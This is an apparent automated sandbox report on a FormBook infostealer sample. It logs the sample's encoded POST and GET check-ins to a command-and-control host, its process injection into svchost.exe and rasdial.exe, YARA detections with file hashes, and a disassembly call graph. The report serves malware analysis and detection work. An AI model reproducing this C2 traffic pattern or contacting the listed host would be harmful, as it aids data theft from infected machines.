                                                                                    Dec 5, 2024 18:25:09.728518009 CET495INData Raw: 31 65 33 0d 0a 65 53 4d 6f db 30 0c bd 1b d8 7f 60 1c 14 d8 80 08 b6 5b 17 18 6c d9 d8 b0 0f ec b4 ed d0 cb 8e 8a 4d c7 44 64 c9 93 e8 24 5d d1 ff 5e c8 6e ba 66 d3 41 12 29 f2 f1 f1 81 92 ab cf 3f 3e dd fd fa f9 05 7a 1e 74 1d c9 70 80 e7 7b 8d
                                                                                    Data Ascii: 1e3eSMo0`[lMDd$]^nfA)?>ztp{U#z.4@xkWZ!&o*`+::L<ej'dL0`K;t^4V['|E[w.@,!:M2(P&}sK</aPnG


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    43192.168.2.1150017172.67.178.248802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:25:11.160537958 CET1782OUTPOST /jmkz/ HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Encoding: gzip, deflate, br
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Cache-Control: no-cache
                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                    Connection: close
                                                                                    Content-Length: 1233
                                                                                    Host: www.rtpwslot888gol.sbs
                                                                                    Origin: http://www.rtpwslot888gol.sbs
                                                                                    Referer: http://www.rtpwslot888gol.sbs/jmkz/
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Data Raw: 64 54 62 34 3d 37 39 4a 61 72 53 2f 54 37 2f 68 34 62 49 6d 4f 76 70 79 35 42 42 56 41 65 30 6f 73 49 4f 61 38 78 41 7a 50 59 39 34 74 67 5a 63 63 76 67 75 42 53 78 4d 2f 37 53 4f 39 57 54 46 76 51 50 66 71 66 6f 41 7a 41 64 54 7a 61 75 46 32 2f 5a 4c 51 59 32 46 77 33 73 35 74 43 41 41 70 6a 2f 71 54 6f 64 7a 45 78 69 78 7a 71 6d 63 38 67 37 69 42 4f 59 53 4a 58 74 47 6e 6d 2b 5a 58 63 4c 37 74 43 30 63 62 68 6d 62 78 79 72 68 6c 74 30 6c 71 69 2f 34 38 78 66 58 61 41 79 6f 4d 54 72 70 73 67 6c 2b 49 64 4b 43 66 47 53 31 61 4a 33 56 39 35 6e 76 4f 6e 47 6a 44 49 48 75 71 53 2b 62 45 51 34 76 33 2f 64 33 4c 32 49 66 41 63 47 56 46 4b 4e 6c 4a 4c 5a 57 49 59 30 4c 51 4e 54 30 51 48 4d 4d 58 75 37 6f 4b 54 37 71 6c 2f 75 73 67 54 6e 49 6a 67 48 65 64 73 77 71 5a 33 6b 2f 6c 38 35 56 31 70 59 6a 36 4e 76 34 32 6c 66 70 4f 4e 61 74 6d 4b 77 77 42 54 46 4d 30 38 70 68 71 36 65 4b 41 54 66 75 50 68 4b 56 66 4f 59 37 45 66 6d 4a 68 42 74 4c 75 4e 42 7a 74 73 4a 41 6b 70 6e 55 39 37 6c 55 53 4d 44 31 4b 39 [TRUNCATED]
                                                                                    Data Ascii: dTb4=79JarS/T7/h4bImOvpy5BBVAe0osIOa8xAzPY94tgZccvguBSxM/7SO9WTFvQPfqfoAzAdTzauF2/ZLQY2Fw3s5tCAApj/qTodzExixzqmc8g7iBOYSJXtGnm+ZXcL7tC0cbhmbxyrhlt0lqi/48xfXaAyoMTrpsgl+IdKCfGS1aJ3V95nvOnGjDIHuqS+bEQ4v3/d3L2IfAcGVFKNlJLZWIY0LQNT0QHMMXu7oKT7ql/usgTnIjgHedswqZ3k/l85V1pYj6Nv42lfpONatmKwwBTFM08phq6eKATfuPhKVfOY7EfmJhBtLuNBztsJAkpnU97lUSMD1K9hjXkyOel7YgWOfW+oCAbxBBPscgMozg3g5IRk34KpVoQsIAseFO0z9awCVA0sMdZXFflTeifIOLk5bbATOWs3pBpmkvK/NdhcAPSvT4dX75S1n4D2cCJFmWobYOje2IsyCXbidOs5RwSW58PZgsaHHfNHYcTns5rBvVzTnDLTwI6DRXdZTS8mU748wflTjhhqhKeksI4UencX7NYwT05O7/G9MQrDmOrVVcBt2CTfRJnMF0GGrUtyrI3M4okofnnp97sNaO/9RTFGsl2Qq2PUoYT9yQz13EscXJ71c28pv30w+WIDkPF0GCORrmEbmL/eyKwsct7QsVN0JlqLRUAtNouY2uFUIS+cj8h2zSYb/laT1b7l1rckJyaWuUDDyaafn5NJSPFnR8op4irpt1bRBm96b2Yf8CjgCM0hMcVz1r728G+7YfuUCVGI5oSVdtMzipgdMyqyz48BNOvBb1saGOqdWoKJxwVyDrGSeKDHIYvC7XOVjiDJTBxblu3evm6HAVTMe2P/WSJywCe+2wqYDIZSOwk6Nic3r0i2j/U+zRPuNyQokNWvIozVmdqXAAYpmD89ikn5Fn6zRMhKIOO3zsIBCFYSH20Y98Lz9vsekPBDvb+tOx1VTDQadXUxqHhxnDfnHk5koXSJgq/7AnYGX5kXc4vxU1+W/ [TRUNCATED]
                                                                                    Dec 5, 2024 18:25:12.459729910 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:25:12 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                    pragma: no-cache
                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FHEpysu2YkLrrfcINTymHEbnmc0QTvPYdYJblb77a%2F%2F8SGKUZKd3ZEUIsk9bPJOUm796j8A9KiJAu1WHVFrO2PEs%2B0QZZw689OfPIt2M6lrpR7%2B0DDhYHmGs3csY4BfKudjdlZ1XXsmw"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bbeeafb14392-EWR
                                                                                    Content-Encoding: gzip
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=14479&min_rtt=14479&rtt_var=7239&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1782&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 31 65 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 65 53 4d 6f db 30 0c bd 1b d8 7f 60 1c 14 d8 80 08 b6 5b 17 18 6c d9 d8 b0 0f ec b4 ed d0 cb 8e 8a 4d c7 44 64 c9 93 e8 24 5d d1 ff 5e c8 6e ba 66 d3 41 12 29 f2 f1 f1 81 92 ab cf 3f 3e dd fd fa f9 05 7a 1e 74 1d c9 70 80 e7 7b 8d 55 dc 23 ed 7a 2e b2 34 bd 8a c3 13 aa b6 8e e4 80 ac c0 a8 01 ab f8 40 78 1c ad e3 18 1a 6b 18 0d 57 f1 91 5a ee ab 16 0f d4 a0 98 8d 0d 90 21 26 a5 85 6f 94 c6 2a db 80 ef 1d 99 bd 60 2b 3a e2 ca d8 18 92 3a 92 4c ac b1 86 3c cd e1 bb 65 f8 6a 27 d3 be 89 64 b2 f8 e5 4c aa fe 30 60 4b 0a de 8e 0e 3b 74 5e 34 56 5b 27 7c d3 e3 80 45 ab dc fe dd c3 d6 b6 f7 0f 5b d5 ec 77 2e 40 2c 21 c5 3a 4d d3 15 0d 81 ae 32 fc f8 28 93 05 50 26 cf 7d 85 b4 73 e7 4b 0a ac f3 3c 2f 61 50 6e 47 a6 48 cb ce 1a 2e c0 58 37 28 0d 59 3e 9e 92 eb 74 3c c1 47 47 4a 6f e0 1b ea 03 32 35 6a 03 5e 19 2f 3c 3a ea 4a 78 25 62 09 ff b1 82 75 d7 75 65 50 b7 a5 c3 3f ba ab
                                                                                    Data Ascii: 1edeSMo0`[lMDd$]^nfA)?>ztp{U#z.4@xkWZ!&o*`+::L<ej'dL0`K;t^4V['|E[w.@,!:M2(P&}sK</aPnGH.X7(Y>t<GGJo25j^/<:Jx%buueP?
                                                                                    Dec 5, 2024 18:25:12.459893942 CET196INData Raw: 89 6d 09 03 19 71 81 11 d7 10 d6 eb 04 c6 13 0b a5 69 67 0a 68 d0 30 ba 12 66 ed 8b f7 69 3a 9e ce 2d 08 8d 1d 17 20 f2 c5 39 5a 4f 4c d6 14 6a eb ad 9e 18 4b 60 3b 16 70 13 aa cc a1 b7 e9 55 e0 06 cf 4b f6 d9 b9 e2 8b 26 10 44 11 9e fe 60 91 dd
                                                                                    Data Ascii: mqigh0fi:- 9ZOLjK`;pUK&D`0^\sqqmn\&}TA/4;/#9w=Co'=ct2l;[d#t{0_x%,0


                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    44192.168.2.1150018172.67.178.248802720C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Dec 5, 2024 18:25:13.828603029 CET471OUTGET /jmkz/?dTb4=2/h6on3i5cEqQ5iv7IDFWRMTdWM2Mc2q2EbSJtEbgpp6+wmMOVJuzUCOWh5aW8O1XJ0bOuSOAqNryZfPUVNa1P4YKRIrovimkPK1vyRK5mZ59623Ms+MCds=&mZwPH=xrgxJbs HTTP/1.1
                                                                                    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                    Accept-Language: en-US,en;q=0.9
                                                                                    Connection: close
                                                                                    Host: www.rtpwslot888gol.sbs
                                                                                    User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                                    Dec 5, 2024 18:25:15.135927916 CET1236INHTTP/1.1 404 Not Found
                                                                                    Date: Thu, 05 Dec 2024 17:25:14 GMT
                                                                                    Content-Type: text/html
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    cache-control: private, no-cache, no-store, must-revalidate, max-age=0
                                                                                    pragma: no-cache
                                                                                    x-turbo-charged-by: LiteSpeed
                                                                                    CF-Cache-Status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJvIUYV9gBgGitTGZhGxBfnT11eaCmt5vI8WEhCNaAVpGagPA%2Fb64qNNaEMOXMGb%2FbedVQaH1OFMd%2B%2F8BmwzPRGHmTXELBLyat1Fp4opv6%2B%2F5yASJHrLyfQaTzVVV1bH9I2Epq3B0RFI"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8ed5bbff8c498c05-EWR
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1838&min_rtt=1838&rtt_var=919&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=471&delivery_rate=0&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                    Data Raw: 33 31 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c
                                                                                    Data Ascii: 31c<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial,
                                                                                    Dec 5, 2024 18:25:15.136070967 CET473INData Raw: 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a
                                                                                    Data Ascii: Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margi


                                                                                    Statistics

                                                                                    CPU Usage

                                                                                    Click to jump to process

                                                                                    Memory Usage

                                                                                    Click to jump to process

                                                                                    High Level Behavior Distribution

                                                                                    Click to dive into process behavior distribution

                                                                                    Behavior

                                                                                    Click to jump to process

                                                                                    System Behavior

                                                                                    General

                                                                                    Target ID:0
                                                                                    Start time:12:21:10
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Users\user\Desktop\lgkWBwqY15.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Users\user\Desktop\lgkWBwqY15.exe"
                                                                                    Imagebase:0x5a0000
                                                                                    File size:1'228'288 bytes
                                                                                    MD5 hash:18CC815CD549E5FB63B97D76424C3543
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:low
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:2
                                                                                    Start time:12:21:12
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Windows\SysWOW64\svchost.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Users\user\Desktop\lgkWBwqY15.exe"
                                                                                    Imagebase:0x970000
                                                                                    File size:46'504 bytes
                                                                                    MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                    Has elevated privileges:true
                                                                                    Has administrator privileges:true
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1663229690.00000000038E0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1663999831.0000000004000000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1662680828.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    General

                                                                                    Target ID:4
                                                                                    Start time:12:21:36
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe"
                                                                                    Imagebase:0xdb0000
                                                                                    File size:140'800 bytes
                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.3813389290.0000000002E40000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                    Reputation:high
                                                                                    Has exited:false

                                                                                    General

                                                                                    Target ID:5
                                                                                    Start time:12:21:38
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Windows\SysWOW64\rasdial.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Windows\SysWOW64\rasdial.exe"
                                                                                    Imagebase:0xaa0000
                                                                                    File size:19'456 bytes
                                                                                    MD5 hash:A280B0F42A83064C41CFFDC1CD35136E
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3804477887.0000000003250000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3812598853.0000000004F20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.3813400282.0000000004F70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                    Reputation:moderate
                                                                                    Has exited:false

                                                                                    General

                                                                                    Target ID:6
                                                                                    Start time:12:21:51
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe
                                                                                    Wow64 process (32bit):true
                                                                                    Commandline:"C:\Program Files (x86)\qAvXRemmclkNNelikCIjptDPcBYdMsWLgVOoWalP\EDoVdgyZMIcTRp.exe"
                                                                                    Imagebase:0xdb0000
                                                                                    File size:140'800 bytes
                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Yara matches:
                                                                                    • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000006.00000002.3813749544.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                    Reputation:high
                                                                                    Has exited:false

                                                                                    General

                                                                                    Target ID:8
                                                                                    Start time:12:22:04
                                                                                    Start date:05/12/2024
                                                                                    Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                    Wow64 process (32bit):false
                                                                                    Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                    Imagebase:0x7ff6de060000
                                                                                    File size:676'768 bytes
                                                                                    MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                    Has elevated privileges:false
                                                                                    Has administrator privileges:false
                                                                                    Programmed in:C, C++ or other language
                                                                                    Reputation:high
                                                                                    Has exited:true

                                                                                    Disassembly

                                                                                    Reset < >

                                                                                      Execution Graph

                                                                                      Execution Coverage:3.7%
                                                                                      Dynamic/Decrypted Code Coverage:0.9%
                                                                                      Signature Coverage:9.5%
                                                                                      Total number of Nodes:1988
                                                                                      Total number of Limit Nodes:166
                                                                                      execution_graph 92870 5c5dfd 92871 5c5e09 _raise 92870->92871 92907 5c7eeb GetStartupInfoW 92871->92907 92873 5c5e0e 92909 5c9ca7 GetProcessHeap 92873->92909 92875 5c5e66 92876 5c5e71 92875->92876 92994 5c5f4d 47 API calls 3 library calls 92875->92994 92910 5c7b47 92876->92910 92879 5c5e77 92880 5c5e82 __RTC_Initialize 92879->92880 92995 5c5f4d 47 API calls 3 library calls 92879->92995 92931 5cacb3 92880->92931 92883 5c5e91 92884 5c5e9d GetCommandLineW 92883->92884 92996 5c5f4d 47 API calls 3 library calls 92883->92996 92950 5d2e7d GetEnvironmentStringsW 92884->92950 92888 5c5e9c 92888->92884 92891 5c5ec2 92963 5d2cb4 92891->92963 92894 5c5ec8 92895 5c5ed3 92894->92895 92998 5c115b 47 API calls 3 library calls 92894->92998 92977 5c1195 92895->92977 92898 5c5edb 92899 5c5ee6 __wwincmdln 92898->92899 92999 5c115b 47 API calls 3 library calls 92898->92999 92981 5a3a0f 92899->92981 92902 5c5efa 92903 5c5f09 92902->92903 93000 5c13f1 47 API calls _doexit 92902->93000 93001 5c1186 47 API calls _doexit 92903->93001 92906 5c5f0e _raise 92908 5c7f01 92907->92908 92908->92873 92909->92875 93002 5c123a 30 API calls 2 library calls 92910->93002 92912 5c7b4c 93003 5c7e23 InitializeCriticalSectionAndSpinCount 92912->93003 92914 5c7b51 92915 5c7b55 92914->92915 93005 5c7e6d TlsAlloc 92914->93005 93004 5c7bbd 50 API calls 2 library calls 92915->93004 92918 5c7b67 92918->92915 92920 5c7b72 92918->92920 92919 5c7b5a 92919->92879 93006 5c6986 92920->93006 92923 5c7bb4 93014 5c7bbd 50 API calls 2 library calls 92923->93014 92926 5c7b93 92926->92923 92928 5c7b99 92926->92928 92927 5c7bb9 92927->92879 93013 5c7a94 47 API calls 4 library calls 92928->93013 92930 5c7ba1 GetCurrentThreadId 92930->92879 92932 5cacbf _raise 92931->92932 93023 5c7cf4 92932->93023 92934 5cacc6 92935 5c6986 __calloc_crt 47 API calls 92934->92935 92937 5cacd7 92935->92937 92936 5cace2 _raise @_EH4_CallFilterFunc@8 92936->92883 92937->92936 92938 5cad42 GetStartupInfoW 92937->92938 92944 5cae80 92938->92944 92945 5cad57 92938->92945 92939 5caf44 93030 5caf58 LeaveCriticalSection _doexit 92939->93030 92941 5caec9 GetStdHandle 92941->92944 92942 5c6986 __calloc_crt 47 API calls 92942->92945 92943 5caedb GetFileType 92943->92944 92944->92939 92944->92941 92944->92943 92947 5caf08 InitializeCriticalSectionAndSpinCount 92944->92947 92945->92942 92945->92944 92946 5cada5 92945->92946 92946->92944 92948 5cade5 InitializeCriticalSectionAndSpinCount 92946->92948 92949 5cadd7 GetFileType 92946->92949 92947->92944 92948->92946 92949->92946 92949->92948 92951 5c5ead 92950->92951 92953 5d2e8e 92950->92953 92957 5d2a7b GetModuleFileNameW 92951->92957 92952 5d2ea9 93069 5c69d0 47 API calls std::exception::_Copy_str 92952->93069 92953->92952 92953->92953 92955 5d2eb4 ___crtGetEnvironmentStringsW 92956 5d2eca FreeEnvironmentStringsW 92955->92956 92956->92951 92958 5d2aaf _wparse_cmdline 92957->92958 92959 5c5eb7 92958->92959 92960 5d2ae9 92958->92960 92959->92891 92997 5c115b 47 API calls 3 library calls 92959->92997 93070 5c69d0 47 API calls std::exception::_Copy_str 92960->93070 92962 5d2aef _wparse_cmdline 92962->92959 92964 5d2ccd __wsetenvp 92963->92964 92968 5d2cc5 92963->92968 92965 5c6986 __calloc_crt 47 API calls 92964->92965 92973 5d2cf6 __wsetenvp 92965->92973 92966 5d2d4d 92967 5c1c9d _free 47 API calls 92966->92967 92967->92968 92968->92894 92969 5c6986 __calloc_crt 47 API calls 92969->92973 92970 5d2d72 92971 5c1c9d _free 47 API calls 92970->92971 92971->92968 92973->92966 92973->92968 92973->92969 92973->92970 92974 5d2d89 92973->92974 93071 5d2567 47 API calls _raise 92973->93071 93072 5c6e20 IsProcessorFeaturePresent 92974->93072 92976 5d2d95 92976->92894 92978 5c11a1 __initterm_e __initp_misc_cfltcvt_tab __IsNonwritableInCurrentImage 92977->92978 92980 5c11e0 __IsNonwritableInCurrentImage 92978->92980 93095 5c0f0a 52 API calls __cinit 92978->93095 92980->92898 92982 5a3a29 92981->92982 92983 611ebf 92981->92983 92984 5a3a63 IsThemeActive 92982->92984 93096 5c1405 92984->93096 92988 5a3a8f 93108 5a3adb SystemParametersInfoW SystemParametersInfoW 92988->93108 92990 5a3a9b 93109 5a3d19 92990->93109 92992 5a3aa3 SystemParametersInfoW 92993 5a3ac8 92992->92993 92993->92902 92994->92876 92995->92880 92996->92888 93000->92903 93001->92906 93002->92912 93003->92914 93004->92919 93005->92918 93009 5c698d 93006->93009 93008 5c69ca 93008->92923 93012 5c7ec9 TlsSetValue 93008->93012 93009->93008 93010 5c69ab Sleep 93009->93010 93015 5d30aa 93009->93015 93011 5c69c2 93010->93011 93011->93008 93011->93009 93012->92926 93013->92930 93014->92927 93016 5d30b5 93015->93016 93020 5d30d0 __calloc_impl 93015->93020 93017 5d30c1 93016->93017 93016->93020 93022 5c7c0e 47 API calls __getptd_noexit 93017->93022 93018 5d30e0 HeapAlloc 93018->93020 93021 5d30c6 93018->93021 93020->93018 93020->93021 93021->93009 93022->93021 93024 5c7d18 EnterCriticalSection 93023->93024 93025 5c7d05 93023->93025 93024->92934 93031 5c7d7c 93025->93031 93027 5c7d0b 93027->93024 93055 5c115b 47 API calls 3 library calls 93027->93055 93030->92936 93032 5c7d88 _raise 93031->93032 93033 5c7da9 93032->93033 93034 5c7d91 93032->93034 93036 5c7da7 93033->93036 93042 5c7e11 _raise 93033->93042 93056 5c81c2 47 API calls __NMSG_WRITE 93034->93056 93036->93033 93059 5c69d0 47 API calls std::exception::_Copy_str 93036->93059 93037 5c7d96 93057 5c821f 47 API calls 6 library calls 93037->93057 93040 5c7dbd 93043 5c7dc4 93040->93043 93044 5c7dd3 93040->93044 93041 5c7d9d 93058 5c1145 GetModuleHandleExW GetProcAddress ExitProcess ___crtCorExitProcess 93041->93058 93042->93027 93060 5c7c0e 47 API calls __getptd_noexit 93043->93060 93045 5c7cf4 __lock 46 API calls 93044->93045 93048 5c7dda 93045->93048 93050 5c7dfe 93048->93050 93051 5c7de9 InitializeCriticalSectionAndSpinCount 93048->93051 93049 5c7dc9 93049->93042 93061 5c1c9d 93050->93061 93052 5c7e04 93051->93052 93067 5c7e1a LeaveCriticalSection _doexit 93052->93067 93056->93037 93057->93041 93059->93040 93060->93049 93062 5c1ca6 RtlFreeHeap 93061->93062 93066 5c1ccf __dosmaperr 93061->93066 93063 5c1cbb 93062->93063 93062->93066 93068 5c7c0e 47 API calls __getptd_noexit 93063->93068 93065 5c1cc1 GetLastError 93065->93066 93066->93052 93067->93042 93068->93065 93069->92955 93070->92962 93071->92973 93073 5c6e2b 93072->93073 93078 5c6cb5 93073->93078 93077 5c6e46 93077->92976 93079 5c6ccf _memset ___raise_securityfailure 93078->93079 93080 5c6cef IsDebuggerPresent 93079->93080 93086 5c81ac SetUnhandledExceptionFilter UnhandledExceptionFilter 93080->93086 93083 5c6db3 ___raise_securityfailure 93087 5ca70c 93083->93087 93084 5c6dd6 93085 5c8197 GetCurrentProcess TerminateProcess 93084->93085 93085->93077 93086->93083 93088 5ca714 93087->93088 93089 5ca716 IsProcessorFeaturePresent 93087->93089 93088->93084 93091 5d37b0 93089->93091 93094 5d375f 5 API calls ___raise_securityfailure 93091->93094 93093 5d3893 93093->93084 93094->93093 93095->92980 93097 5c7cf4 __lock 47 API calls 93096->93097 93098 5c1410 93097->93098 93161 5c7e58 LeaveCriticalSection 93098->93161 93100 5a3a88 93101 5c146d 93100->93101 93102 5c1477 93101->93102 93103 5c1491 93101->93103 93102->93103 93162 5c7c0e 47 API calls __getptd_noexit 93102->93162 93103->92988 93105 5c1481 93163 5c6e10 8 API calls _raise 93105->93163 93107 5c148c 93107->92988 93108->92990 93110 5a3d26 __ftell_nolock 93109->93110 93164 5ad7f7 93110->93164 93114 5a3d57 IsDebuggerPresent 93115 611cc1 MessageBoxA 93114->93115 93116 5a3d65 93114->93116 93117 611cd9 93115->93117 93116->93117 93118 5a3d82 93116->93118 93147 5a3e3a 93116->93147 93366 5bc682 48 API calls 93117->93366 93243 5a40e5 93118->93243 93119 5a3e41 SetCurrentDirectoryW 93122 5a3e4e Mailbox 93119->93122 93122->92992 93123 611ce9 93128 611cff SetCurrentDirectoryW 93123->93128 93125 5a3da0 GetFullPathNameW 93259 5a6a63 93125->93259 93127 5a3ddb 93270 5a6430 93127->93270 93128->93122 93131 5a3df6 93132 5a3e00 93131->93132 93367 5e71fa AllocateAndInitializeSid CheckTokenMembership FreeSid 93131->93367 93286 5a3e6e GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 93132->93286 93135 611d1c 93135->93132 93138 611d2d 93135->93138 93368 5a5374 93138->93368 93139 5a3e0a 93141 5a3e1f 93139->93141 93294 5a4ffc 93139->93294 93304 5ae8d0 93141->93304 93144 611d35 93375 5ace19 93144->93375 93147->93119 93148 611d42 93149 611d49 93148->93149 93150 611d6e 93148->93150 93381 5a518c 93149->93381 93153 5a518c 48 API calls 93150->93153 93160 611d6a GetForegroundWindow ShellExecuteW 93153->93160 93158 5a518c 48 API calls 93158->93160 93159 611d9e Mailbox 93159->93147 93160->93159 93161->93100 93162->93105 93163->93107 93400 5bf4ea 93164->93400 93166 5ad818 93167 5bf4ea 48 API calls 93166->93167 93168 5a3d31 GetCurrentDirectoryW 93167->93168 93169 5a61ca 93168->93169 93431 5be99b 93169->93431 93173 5a61eb 93174 5a5374 50 